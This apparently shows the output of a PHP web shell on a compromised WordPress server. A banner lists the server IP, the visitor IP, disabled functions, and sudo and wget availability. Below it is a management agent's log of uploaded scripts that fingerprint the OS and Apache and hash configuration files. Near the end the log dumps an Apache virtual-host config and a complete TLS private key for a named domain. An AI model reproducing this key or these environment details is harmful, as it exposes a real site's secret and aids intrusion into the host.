Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8 [0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8 [1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560 [2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85 [3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50 [4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13 [5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
| Server IP : 94.177.8.99 / Your IP : 216.73.217.165 Web Server : Apache/2.4.58 (Ubuntu) System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64 User : www-data ( 33) PHP Version : 8.1.34 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /phil/ |
Upload File : |
2025-08-26 14:02:09: Establishing a remote connection
2025-08-26 14:02:09:
PUT: /tmp/pkp508588
#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
cat $1 >> $temp_file
echo >> $temp_file
}
show_hostname() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
hostname >> $temp_file
echo >> $temp_file
}
show_arc() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
uname -m >> $temp_file
echo >> $temp_file
}
show_uname() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
uname -r -s >> $temp_file
echo >> $temp_file
}
if [ -f /etc/centos-release ]; then
show_file /etc/centos-release
fi
if [ -f /etc/debian_version ]; then
show_file /etc/debian_version
fi
if [ -f /etc/redhat-release ]; then
show_file /etc/redhat-release
fi
if [ -f /etc/system-release ]; then
show_file /etc/system-release
fi
if [ -f /etc/lsb-release ]; then
show_file /etc/lsb-release
fi
if [ -f /etc/os-release ]; then
show_file /etc/os-release
fi
if [ -e /proc/swaps ]; then
show_file /proc/swaps
fi
show_hostname 'hostname'
show_arc 'architecture'
show_uname 'uname'
gzip -cn9 $temp_file
rm $temp_file
2025-08-26 14:02:09:
chmod 755 /tmp/pkp508588; /tmp/pkp508588; rm /tmp/pkp508588
2025-08-26 14:02:33:
PUT: /tmp/pkp619606
#!/bin/bash
# get service version
apache_output() {
sub_file=$(mktemp)
script -q -c "$1 -V" $sub_file
cat $sub_file
rm $sub_file
}
apache_output2() {
$1 -V
}
apachectl_output() {
temp_file=$(mktemp)
apachectl -t -D DUMP_RUN_CFG > $temp_file 2>&1
file=`awk -F\" '/PidFile:/{print $2}' $temp_file`
pid=`cat $file`;
cat $temp_file
rm $temp_file
# also get user/group
echo pid: $pid
if [ -d "/etc/apache2/sites-available" ]; then
echo available=sites-available
elif [ -d "/etc/apache2/hosts.d" ]; then
echo available=hosts.d
elif [ -d "/etc/apache2/conf.d" ]; then
echo available=conf.d
fi
echo [ps]
ps up $pid
}
apachectl_enabled() {
temp_file=$(mktemp)
apachectl -t -D DUMP_MODULES > $temp_file 2>&1
echo [modules]
cat $temp_file
rm $temp_file
}
if [[ "$OSTYPE" == "darwin"* ]]; then
echo [apache2]
apache_output2 /usr/sbin/httpd
elif [ -e "/usr/sbin/httpd" ]; then
echo [httpd]
apache_output /usr/sbin/httpd
if [ -d "/etc/httpd/conf.d" ]; then
echo available=conf.d
fi
fi
if [ -e "/usr/sbin/apache2" ]; then
echo [apache2]
source /etc/apache2/envvars
apache_output2 /usr/sbin/apache2
apachectl_output
apachectl_enabled
fi
2025-08-26 14:02:33:
chmod 755 /tmp/pkp619606; /tmp/pkp619606; rm /tmp/pkp619606
2025-08-26 14:02:57:
SERVER INFO (php_model): array (
'debian' => 0,
'redhat' => 0,
'name' => '',
'arch' => '',
'mac' => 0,
'distro' => '',
'web' =>
array (
),
)
2025-08-26 14:02:57:
PUT: /tmp/pkp532936
#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
cat $1 >> $temp_file
echo >> $temp_file
}
# show available php versions
gzip -cn9 $temp_file
rm $temp_file
2025-08-26 14:02:57:
chmod 755 /tmp/pkp532936; /tmp/pkp532936; rm /tmp/pkp532936
(gzipped output)
2025-08-26 14:02:59:
PUT: /tmp/pkp646208
#!/usr/bin/python3
import gzip, sys, os, glob, hashlib, tempfile, codecs
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def collectCfgFiles(filename):
config = []
f = open(filename, 'r')
file = f.readlines()
for v in file:
v = v.rstrip()
if v != '' and v[0] != '#':
p = v.find('=')
if p > -1:
key = v[:p].strip()
value=v[p+1:].strip()
if key == 'cfg_file':
config.append(value)
f.close()
return config
def generate_hash(filename, type = 'MD5'):
digest = hashlib.md5(open(filename, 'rb').read()).hexdigest()
payload = type + '(' + filename + ')= ' + digest + "\n"
gz.write(payload.encode('cp437'))
def scan_folder(folder):
if os.path.isdir(folder):
filelist = glob.glob(folder + '/check*')
for filename in filelist:
generate_hash(filename, 'bin')
return
try:
try:
filelist = collectCfgFiles('/usr/local/nagios/etc/nagios.cfg')
for file in filelist:
generate_hash(file)
except:
pass
scan_folder('/usr/local/nagios/libexec')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-08-26 14:02:59:
chmod 755 /tmp/pkp646208; /tmp/pkp646208; rm /tmp/pkp646208
2025-08-26 14:28:55: Establishing a remote connection
2025-08-26 14:28:56: installid not present
2025-08-26 14:30:18: Establishing a remote connection
2025-08-26 14:30:19: installid not present
2025-08-26 14:32:12: Establishing a remote connection
2025-08-26 14:32:12: installid not present
2025-08-26 14:41:59: Establishing a remote connection
2025-08-26 14:41:59:
PUT: /tmp/pkp261739
#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
cat $1 >> $temp_file
echo >> $temp_file
}
show_hostname() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
hostname >> $temp_file
echo >> $temp_file
}
show_arc() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
uname -m >> $temp_file
echo >> $temp_file
}
show_uname() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
uname -r -s >> $temp_file
echo >> $temp_file
}
if [ -f /etc/centos-release ]; then
show_file /etc/centos-release
fi
if [ -f /etc/debian_version ]; then
show_file /etc/debian_version
fi
if [ -f /etc/redhat-release ]; then
show_file /etc/redhat-release
fi
if [ -f /etc/system-release ]; then
show_file /etc/system-release
fi
if [ -f /etc/lsb-release ]; then
show_file /etc/lsb-release
fi
if [ -f /etc/os-release ]; then
show_file /etc/os-release
fi
if [ -e /proc/swaps ]; then
show_file /proc/swaps
fi
show_hostname 'hostname'
show_arc 'architecture'
show_uname 'uname'
gzip -cn9 $temp_file
rm $temp_file
2025-08-26 14:41:59:
chmod 755 /tmp/pkp261739; /tmp/pkp261739; rm /tmp/pkp261739
2025-08-26 14:42:00:
PUT: /tmp/pkp173755
#!/bin/bash
# get service version
apache_output() {
sub_file=$(mktemp)
script -q -c "$1 -V" $sub_file
cat $sub_file
rm $sub_file
}
apache_output2() {
$1 -V
}
apachectl_output() {
temp_file=$(mktemp)
apachectl -t -D DUMP_RUN_CFG > $temp_file 2>&1
file=`awk -F\" '/PidFile:/{print $2}' $temp_file`
pid=`cat $file`;
cat $temp_file
rm $temp_file
# also get user/group
echo pid: $pid
if [ -d "/etc/apache2/sites-available" ]; then
echo available=sites-available
elif [ -d "/etc/apache2/hosts.d" ]; then
echo available=hosts.d
elif [ -d "/etc/apache2/conf.d" ]; then
echo available=conf.d
fi
echo [ps]
ps up $pid
}
apachectl_enabled() {
temp_file=$(mktemp)
apachectl -t -D DUMP_MODULES > $temp_file 2>&1
echo [modules]
cat $temp_file
rm $temp_file
}
if [[ "$OSTYPE" == "darwin"* ]]; then
echo [apache2]
apache_output2 /usr/sbin/httpd
elif [ -e "/usr/sbin/httpd" ]; then
echo [httpd]
apache_output /usr/sbin/httpd
if [ -d "/etc/httpd/conf.d" ]; then
echo available=conf.d
fi
fi
if [ -e "/usr/sbin/apache2" ]; then
echo [apache2]
source /etc/apache2/envvars
apache_output2 /usr/sbin/apache2
apachectl_output
apachectl_enabled
fi
2025-08-26 14:42:00:
chmod 755 /tmp/pkp173755; /tmp/pkp173755; rm /tmp/pkp173755
[apache2]
Server version: Apache/2.4.52 (Ubuntu)
Server built: 2025-08-11T12:10:10
Server's Module Magic Number: 20120211:126
Server loaded: APR 1.7.0, APR-UTIL 1.6.1
Compiled using: APR 1.7.0, APR-UTIL 1.6.1
Architecture: 64-bit
Server MPM: prefork
threaded: no
forked: yes (variable process count)
Server compiled with....
-D APR_HAS_SENDFILE
-D APR_HAS_MMAP
-D APR_HAVE_IPV6 (IPv4-mapped addresses enabled)
-D APR_USE_PROC_PTHREAD_SERIALIZE
-D APR_USE_PTHREAD_SERIALIZE
-D SINGLE_LISTEN_UNSERIALIZED_ACCEPT
-D APR_HAS_OTHER_CHILD
-D AP_HAVE_RELIABLE_PIPED_LOGS
-D DYNAMIC_MODULE_LIMIT=256
-D HTTPD_ROOT="/etc/apache2"
-D SUEXEC_BIN="/usr/lib/apache2/suexec"
-D DEFAULT_PIDLOG="/var/run/apache2.pid"
-D DEFAULT_SCOREBOARD="logs/apache_runtime_status"
-D DEFAULT_ERRORLOG="logs/error_log"
-D AP_TYPES_CONFIG_FILE="mime.types"
-D SERVER_CONFIG_FILE="apache2.conf"
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
pid: 854294
available=sites-available
[ps]
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 854294 0.0 0.3 223624 29288 ? Ss 09:55 0:00 /usr/sbin/apache2 -k start
[modules]
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
Loaded Modules:
core_module (static)
so_module (static)
watchdog_module (static)
http_module (static)
log_config_module (static)
logio_module (static)
version_module (static)
unixd_module (static)
access_compat_module (shared)
alias_module (shared)
auth_basic_module (shared)
authn_core_module (shared)
authn_file_module (shared)
authz_core_module (shared)
authz_host_module (shared)
authz_user_module (shared)
autoindex_module (shared)
deflate_module (shared)
dir_module (shared)
env_module (shared)
filter_module (shared)
mime_module (shared)
mpm_prefork_module (shared)
negotiation_module (shared)
php_module (shared)
reqtimeout_module (shared)
rewrite_module (shared)
setenvif_module (shared)
socache_shmcb_module (shared)
ssl_module (shared)
status_module (shared)
2025-08-26 14:42:01:
SERVER INFO (php_model): array (
'debian' => 0,
'redhat' => 0,
'name' => '',
'arch' => '',
'mac' => 0,
'distro' => '',
'web' =>
array (
'apache2' =>
array (
'conf' => 'apache2.conf',
'config' => '/etc/apache2',
'user' => 'www-data',
'group' => 'www-data',
'available' => 'sites-available',
'running' => 1,
),
'modules' =>
array (
0 => 'core_module',
1 => 'so_module',
2 => 'watchdog_module',
3 => 'http_module',
4 => 'log_config_module',
5 => 'logio_module',
6 => 'version_module',
7 => 'unixd_module',
8 => 'access_compat_module',
9 => 'alias_module',
10 => 'auth_basic_module',
11 => 'authn_core_module',
12 => 'authn_file_module',
13 => 'authz_core_module',
14 => 'authz_host_module',
15 => 'authz_user_module',
16 => 'autoindex_module',
17 => 'deflate_module',
18 => 'dir_module',
19 => 'env_module',
20 => 'filter_module',
21 => 'mime_module',
22 => 'mpm_prefork_module',
23 => 'negotiation_module',
24 => 'php_module',
25 => 'reqtimeout_module',
26 => 'rewrite_module',
27 => 'setenvif_module',
28 => 'socache_shmcb_module',
29 => 'ssl_module',
30 => 'status_module',
),
),
)
2025-08-26 14:42:01:
PUT: /tmp/pkp447888
#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
cat $1 >> $temp_file
echo >> $temp_file
}
# show available php versions
gzip -cn9 $temp_file
rm $temp_file
2025-08-26 14:42:01:
chmod 755 /tmp/pkp447888; /tmp/pkp447888; rm /tmp/pkp447888
(gzipped output)
2025-08-26 14:42:02:
PUT: /tmp/pkp154730
#!/usr/bin/python3
import gzip, sys, os, glob, hashlib, tempfile, codecs
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def collectCfgFiles(filename):
config = []
f = open(filename, 'r')
file = f.readlines()
for v in file:
v = v.rstrip()
if v != '' and v[0] != '#':
p = v.find('=')
if p > -1:
key = v[:p].strip()
value=v[p+1:].strip()
if key == 'cfg_file':
config.append(value)
f.close()
return config
def generate_hash(filename, type = 'MD5'):
digest = hashlib.md5(open(filename, 'rb').read()).hexdigest()
payload = type + '(' + filename + ')= ' + digest + "\n"
gz.write(payload.encode('cp437'))
def scan_folder(folder):
if os.path.isdir(folder):
filelist = glob.glob(folder + '/check*')
for filename in filelist:
generate_hash(filename, 'bin')
return
try:
try:
filelist = collectCfgFiles('/usr/local/nagios/etc/nagios.cfg')
for file in filelist:
generate_hash(file)
except:
pass
scan_folder('/usr/local/nagios/libexec')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-08-26 14:42:02:
chmod 755 /tmp/pkp154730; /tmp/pkp154730; rm /tmp/pkp154730
(gzipped output)
2025-08-26 14:42:03:
PUT: /tmp/pkp549201
#!/bin/bash
install=
if [ -f "/usr/bin/yum" ]; then
if [ ! -f "/usr/bin/openssl" ]; then
install="$install openssl"
fi
rpm -qi mod_ssl > /dev/null 2>&1
retVal=$?
if [ $retVal -ne 0 ]; then
install="$install mod_ssl"
fi
if [ ! -z $install ]; then
yum -y install $install
service apache2 restart
echo status=restarted
else
echo status=ok
fi
elif [ -f "/usr/bin/apt-get" ]; then
if [ ! -f "/usr/bin/openssl" ]; then
apt-get update
apt-get -y install openssl
fi
if [ ! -f "/etc/apache2/mods-enabled/ssl.conf" ] ; then
a2enmod -q ssl
service apache2 restart
fi
echo status=ok
fi
2025-08-26 14:42:03:
chmod 755 /tmp/pkp549201; /tmp/pkp549201; rm /tmp/pkp549201
status=ok
2025-08-26 14:42:04:
PUT: /tmp/pkp935123
#!/usr/bin/python3
import os, sys, glob, hashlib, re, gzip, tempfile, codecs
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def generate_hash_certificate(content, folder):
file = content.split("\n")
for v in file:
v = v.strip()
if v != '' and v[0] != '#':
match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)
if match is not None:
filename = match.group(1)
filename = normalize_path(folder, filename, True)
generate_hash(filename, folder)
def normalize_path(basepath, relativepath, isFile):
if relativepath[:1] == '/':
return relativepath
if isFile:
basename = os.path.basename(relativepath)
relativepath = os.path.dirname(relativepath)
else:
basename = ''
basepath = basepath.split('/')
relativepath = relativepath.split('/')
for element in relativepath:
if element == '..':
basepath.pop()
elif element != '.' and element != '':
basepath.append(element)
basepath = '/'.join(basepath)
if basename != '':
basepath += '/' + basename
return basepath
def generate_hash(filename, folder):
if os.path.islink(filename):
target = os.readlink(filename)
target = normalize_path(folder, target, True)
payload = 'link(' + filename + ')= ' + target + "\n"
gz.write(payload.encode('cp437'))
return
content = open(filename).read()
filehash = hashlib.md5()
filehash.update(content.encode('cp437'))
payload = 'MD5(' + filename + ')= ' + filehash.hexdigest() + "\n"
gz.write(payload.encode('cp437'))
lower_content = content.lower()
if lower_content.find('sslcertificatefile') > -1:
generate_hash_certificate(content, folder)
return
def scan_folder(folder):
if os.path.isdir(folder):
filelist = glob.glob(folder + '/*.conf')
for filename in filelist:
generate_hash(filename, folder)
return
try:
APACHE_ROOT = '/etc/apache2'
scan_folder(APACHE_ROOT)
scan_folder(APACHE_ROOT + '/conf.d')
scan_folder(APACHE_ROOT + '/conf.modules.d')
scan_folder(APACHE_ROOT + '/sites-available')
scan_folder(APACHE_ROOT + '/sites-enabled')
scan_folder(APACHE_ROOT + '/hosts.d')
finally:
gz.close()
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-08-26 14:42:04:
chmod 755 /tmp/pkp935123; /tmp/pkp935123; rm /tmp/pkp935123
(gzipped output)
MD5(/etc/apache2/ports.conf)= a961f23471d985c2b819b652b7f64321
MD5(/etc/apache2/apache2.conf)= 20589b50379161ebc8cb35f761af2646
MD5(/etc/apache2/sites-available/000-default.conf)= f3066f67070ab9b1ad9bab81ca05330a
MD5(/etc/apache2/sites-available/pjy_desktop_us.conf)= 0437bc933db2ebb1dffb132151d784c7
MD5(/etc/ssl/certs/4156a23dadb55e7d1d1138ffce1ca22a.crt)= 4b3d257734e7da5f2fddb670d792402e
MD5(/etc/apache2/sites-available/default-ssl.conf)= 801f4c746a88b4228596cb260a4220c4
MD5(/etc/ssl/certs/ssl-cert-snakeoil.pem)= 6fb555fa2b39e6998378eb892ca8f3a3
link(/etc/apache2/sites-enabled/000-default.conf)= /etc/apache2/sites-available/000-default.conf
link(/etc/apache2/sites-enabled/pjy_desktop_us.conf)= /etc/apache2/sites-available/pjy_desktop_us.conf
2025-08-26 14:42:05:
PUT: /tmp/pkp563326
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-available/pjy_desktop_us.conf')
show_file('/etc/ssl/certs/4156a23dadb55e7d1d1138ffce1ca22a.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-08-26 14:42:05:
chmod 755 /tmp/pkp563326; /tmp/pkp563326; rm /tmp/pkp563326
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/pjy_desktop_us.conf 1277
<VirtualHost *:80>
ServerName desktop.pjy.us
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/pjy_desktop/public
<Directory /var/www/pjy_desktop/public>
Options +FollowSymLinks -MultiViews
AllowOverride All
Require all granted
</Directory>
CustomLog /var/log/apache2/pjy/desktop_access.log combined
ErrorLog /var/log/apache2/pjy/desktop_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName desktop.pjy.us
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/4156a23dadb55e7d1d1138ffce1ca22a.crt
DocumentRoot /var/www/pjy_desktop/public
<Directory /var/www/pjy_desktop/public>
Options +FollowSymLinks -MultiViews
AllowOverride All
Require all granted
</Directory>
CustomLog /var/log/apache2/pjy/desktop_secure_access.log combined
ErrorLog /var/log/apache2/pjy/desktop_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/4156a23dadb55e7d1d1138ffce1ca22a.crt 5346
f2:47:c4:08:74:61:d3:c1:32:fc:c8:2b:30:49:33:91
-----BEGIN CERTIFICATE-----
MIIE+TCCA+GgAwIBAgISBUw/zX+v/FkTQp9Fywh3nPULMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTAwHhcNMjUwODEwMTY0NDA5WhcNMjUxMTA4MTY0NDA4WjAZMRcwFQYDVQQD
Ew5kZXNrdG9wLnBqeS51czCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
ANdISLv4/BmfmWiBRosMbCwfN/EHzawgkB6lXCrOKwT5aCMS+iOWbLGFh6HB3cvW
Yig46cE+EBcuSw9UaBzywljYCYmfiEsX0FDttVxxdrpMJxMwueUhtWOv+4+9CrrD
FeUMzhJqQXbe0S/TadRi9B/oZXK/f2mPPTeKLjZfVrOnXrAC8uDg6jxYcoJrBopd
jmF4zjMI37AnwhGC+6ozwby2geWt8OVqRiYju9xWjcdb5Wi4tiIrTXlD8NeX6qgh
UdFdXKaURbAL9NGW/H8qg9ZQyS7P4T3zgFT4eG0ldFLddINWRqTXjUH37q4aSZDe
8fTO0eBSNjdsXpk5+B4OlmsCAwEAAaOCAh8wggIbMA4GA1UdDwEB/wQEAwIFoDAd
BgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAdBgNV
HQ4EFgQU8L8XXgzhOZEzFwq+Vfg12WWtyzswHwYDVR0jBBgwFoAUu7zDR6XkvKnG
w6RyDBCNojXhyOgwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8v
cjEwLmkubGVuY3Iub3JnLzAZBgNVHREEEjAQgg5kZXNrdG9wLnBqeS51czATBgNV
HSAEDDAKMAgGBmeBDAECATAuBgNVHR8EJzAlMCOgIaAfhh1odHRwOi8vcjEwLmMu
bGVuY3Iub3JnLzEyLmNybDCCAQUGCisGAQQB1nkCBAIEgfYEgfMA8QB3AO08S9bo
BsKkogBX28sk4jgB31Ev7cSGxXAPIN23Pj/gAAABmJUTywgAAAQDAEgwRgIhAPnD
GED8ACiDKUaoGRc09fYiIBLl0iGaV735jnce9V5qAiEAtTSOCnHS9c5RvCHgviuB
MVua9RhWJSh962LplWK+qX8AdgDd3Mo0ldfhFgXnlTL6x5/4PRxQ39sAOhQSdgos
rLvIKgAAAZiVE9MmAAAEAwBHMEUCIBVQbdJjwmAAzLxjlBiTUBlxEY2QeN0PVK8/
GasLYIROAiEAm/gcCULcNkevfPxM4Oeuwye+r5/YLEz+vNfTay9/CkowDQYJKoZI
hvcNAQELBQADggEBAE2XbYg7RfNs4/RvNgWvl0nxtyZT38ZfuoJG/DMBiVNWka4p
GW/v4m3D1WshK2euVjZ1H3RjZjyUtTDOW0/mW7jZnFTEl4mPWSbmbfydaH3YnF0B
MgClxJbrMiE5iVglnUfqqpLiQ+WlBwU/6v/AGjTd7XEp5cP1e4n7sQZh0CJsNm6Q
3FVCQ5pWQ8soBnQ9hhunsuB1L410Nmc1vK/duL6hvm+/jixu7UF32wrqBbzP4sdL
Y8wB+IS2bGKWNEuVmH+DvNr9OYEWSzbz/LUdEb9rtaqVMXa+cCrTztRwM/NnTWqe
P/GQx847oCKwhZi0Csu1ezQzKrlpZ74BoFZnCOE=
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQDXSEi7+PwZn5lo
gUaLDGwsHzfxB82sIJAepVwqzisE+WgjEvojlmyxhYehwd3L1mIoOOnBPhAXLksP
VGgc8sJY2AmJn4hLF9BQ7bVccXa6TCcTMLnlIbVjr/uPvQq6wxXlDM4SakF23tEv
02nUYvQf6GVyv39pjz03ii42X1azp16wAvLg4Oo8WHKCawaKXY5heM4zCN+wJ8IR
gvuqM8G8toHlrfDlakYmI7vcVo3HW+VouLYiK015Q/DXl+qoIVHRXVymlEWwC/TR
lvx/KoPWUMkuz+E984BU+HhtJXRS3XSDVkak141B9+6uGkmQ3vH0ztHgUjY3bF6Z
OfgeDpZrAgMBAAECggEBALb7YZckEmNVHHePKf6WGHuILWxZTZ+4LcdelfBsPHSF
6NWnE6Wb/dcFwDrlJThUiCnX9heiQNrzJilpfPTeAgKx3al0R8xL+WxQH47rghbn
E29kQx1WgW6x7ghGjhAgMUP2llFgrzPyP6t+7rzvPsDALzpROmLmtQm4EX91maQo
Vx8seSU1D/gb04MDZAUXQAxUSiDyq+CNkN1XiEVfwTOcs5ZV4kXuyBXiMkwj1Lav
3IQZn2UixWnfFZQG9zJ6PH8RUC5scunl8Q84pwF4RZsKzUynZrVWOsXVuQAPp/ED
AN7msNIyf4jKV7keG2bebdw7F4SqCfWxfJNOl7X0MoECgYEA87GU3ITbYJP5adxV
eFtrFm36cZTgLx9UbwiKNPGE/c1JY/sjyN9uZb5mtO/j/kodKuy1d5EKhWo5kTrV
zwa6GfrwGRka3ZERIDnAvlTo5aJYbdR2XW9mEYeCDZJ23yVR68FgAMlV5uwAK/Px
mNQeUMMN2UTp1Qy4uqQjGvQjMzkCgYEA4idoRuHuRylT/MdcvQVQMpgvLOiWadBG
zJG9FGKKVkjG1Dk/l7NBjosPTthYYR204P8qKczJ9z6hqsi1jlVBNQAqgC46ydod
FSFL0/Bj7LgtjipsGldC+016il9nQdOtDlGlBZY5eHlKhJ0pJcbRX4S60GLtqWmq
Zt4PM+j5IsMCgYEA0tpHJBqsOj8uoeLr7Qykdq7H8HjRFNS12LB57N9Ao91479I/
nzF7svrwoQOjsMVtwVM4nHDZuqAzmS5gCxYV9h7CmeS38xfuyoRN+iE7tl0myDj6
BVQ661XlOFsPEXqYDDWwHF4YPorahy02UHbQmC59EA3piNbOC2eznEG7JzkCgYBr
kVrj/Cqd5mZwYVMXBSP0LLajoa2Jfutt+hP5UjWCfPM1llVNDpIr/rC1S+odp0eV
jUi8wQ9/bmbvGLBiluKBFycf+N01jW0v07qBgGHHAoOIj10D2mWdqmiS0HYItWom
2WaolZ+YUfjDww0DTuHfkP5ah/OLFRtb+ls40aNOiQKBgQCbrUybBXYCTUjj+776
Hq+znxYmA40Tmv5x8e2tLEQGetYWiloFAiLea7i6L07VOx1vZS7WCNZSOsO2PtNG
sAuvGldNp0hI1YKJXg/FosQudigEmIxc+vz8Ed1Z5aOEn5tiDvjM02Wj5+Fq/glZ
03JmoFuA7Sf5xKIBSFgNK7hxCQ==
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQS6hSk/eaL6JzBkuoBI110DANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTAwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQDPV+XmxFQS7bRH/sknWHZGUCiMHT6I3wWd1bUYKb3dtVq/+vbOo76vACFL
YlpaPAEvxVgD9on/jhFD68G14BQHlo9vH9fnuoE5CXVlt8KvGFs3Jijno/QHK20a
/6tYvJWuQP/py1fEtVt/eA0YYbwX51TGu0mRzW4Y0YCF7qZlNrx06rxQTOr8IfM4
FpOUurDTazgGzRYSespSdcitdrLCnF2YRVxvYXvGLe48E1KGAdlX5jgc3421H5KR
mudKHMxFqHJV8LDmowfs/acbZp4/SItxhHFYyTr6717yW0QrPHTnj7JHwQdqzZq3
DZb3EoEmUVQK7GH29/Xi8orIlQ2NAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBS7vMNHpeS8qcbDpHIMEI2iNeHI6DAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
